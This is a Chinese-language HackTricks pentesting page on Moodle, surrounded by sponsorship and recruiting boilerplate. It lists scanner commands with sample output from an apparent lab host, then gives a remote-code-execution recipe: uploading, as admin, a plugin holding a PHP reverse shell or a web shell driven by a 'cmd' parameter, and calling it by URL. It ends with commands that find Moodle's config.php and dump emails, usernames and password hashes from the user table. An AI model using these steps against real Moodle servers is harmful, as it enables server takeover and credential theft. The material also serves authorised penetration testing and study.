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135 lines
6.1 KiB
Markdown
135 lines
6.1 KiB
Markdown
# Moodle
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<details>
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<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>
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支持HackTricks的其他方式：
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* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
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* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
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* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
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* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
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* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
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</details>
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<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
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如果您对**黑客职业**感兴趣并想要攻破不可攻破的系统 - **我们正在招聘！**（需要流利的波兰语书面和口头表达能力）。
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{% embed url="https://www.stmcyber.com/careers" %}
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## 自动扫描
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### droopescan
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```bash
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pip3 install droopescan
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droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
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[+] Plugins found:
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forum http://moodle.schooled.htb/moodle/mod/forum/
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http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
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http://moodle.schooled.htb/moodle/mod/forum/version.php
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[+] No themes found.
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[+] Possible version(s):
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3.10.0-beta
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[+] Possible interesting urls found:
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Static readme file. - http://moodle.schooled.htb/moodle/README.txt
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Admin panel - http://moodle.schooled.htb/moodle/login/
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[+] Scan finished (0:00:05.643539 elapsed)
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```
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### moodlescan
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moodlescan is a Python script designed to perform comprehensive scans for Moodle installations. It can discover Moodle installations by brute-forcing URLs and checking for specific Moodle files. The tool can also enumerate users and courses, making it a valuable asset for penetration testers assessing Moodle instances.
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```bash
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#Install from https://github.com/inc0d3/moodlescan
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python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
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Version 0.7 - Dic/2020
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.............................................................................................................
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By Victor Herrera - supported by www.incode.cl
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.............................................................................................................
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Getting server information http://moodle.schooled.htb/moodle/ ...
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server : Apache/2.4.46 (FreeBSD) PHP/7.4.15
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x-powered-by : PHP/7.4.15
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x-frame-options : sameorigin
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last-modified : Wed, 07 Apr 2021 21:33:41 GMT
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Getting moodle version...
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Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
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Searching vulnerabilities...
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Vulnerabilities found: 0
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Scan completed.
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```
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### CMSMap
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### CMSMap
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```bash
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pip3 install git+https://github.com/dionach/CMSmap.git
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cmsmap http://moodle.example.com/<moodle_path>
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```
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### CVEs
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我发现自动工具在发现影响 Moodle 版本的漏洞方面相当无用。您可以在 [https://snyk.io/vuln/composer:moodle%2Fmoodle](https://snyk.io/vuln/composer:moodle%2Fmoodle) 进行检查。
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## **RCE**
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您需要具有**管理员**角色，可以在**“站点管理”**选项卡内安装插件：
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.png>)
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即使您是管理员，您可能仍然需要**激活此选项**。您可以查看 Moodle 特权升级 PoC 中的操作：[https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)。
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然后，您可以**安装以下插件**，其中包含经典的 pentest-monkey php 反弹 shell（_在上传之前，您需要解压缩它，更改 revshell 的 IP 和端口，然后再次压缩_）
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{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}
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或者您可以使用来自 [https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle\_RCE) 的插件，使用“cmd”参数获取常规 PHP shell。
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要访问启动恶意插件，您需要访问：
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```bash
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http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
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```
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## POST
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### 查找数据库凭据
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```bash
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find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
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```
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### 从数据库中转储凭据
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```bash
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/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
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```
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<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
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如果您对**黑客职业**感兴趣并想要攻破不可能的 - **我们正在招聘！**（_需要流利的波兰语书面和口语_）。
|
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{% embed url="https://www.stmcyber.com/careers" %}
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<details>
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<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>
|
||
|
||
支持HackTricks的其他方式：
|
||
|
||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
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* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
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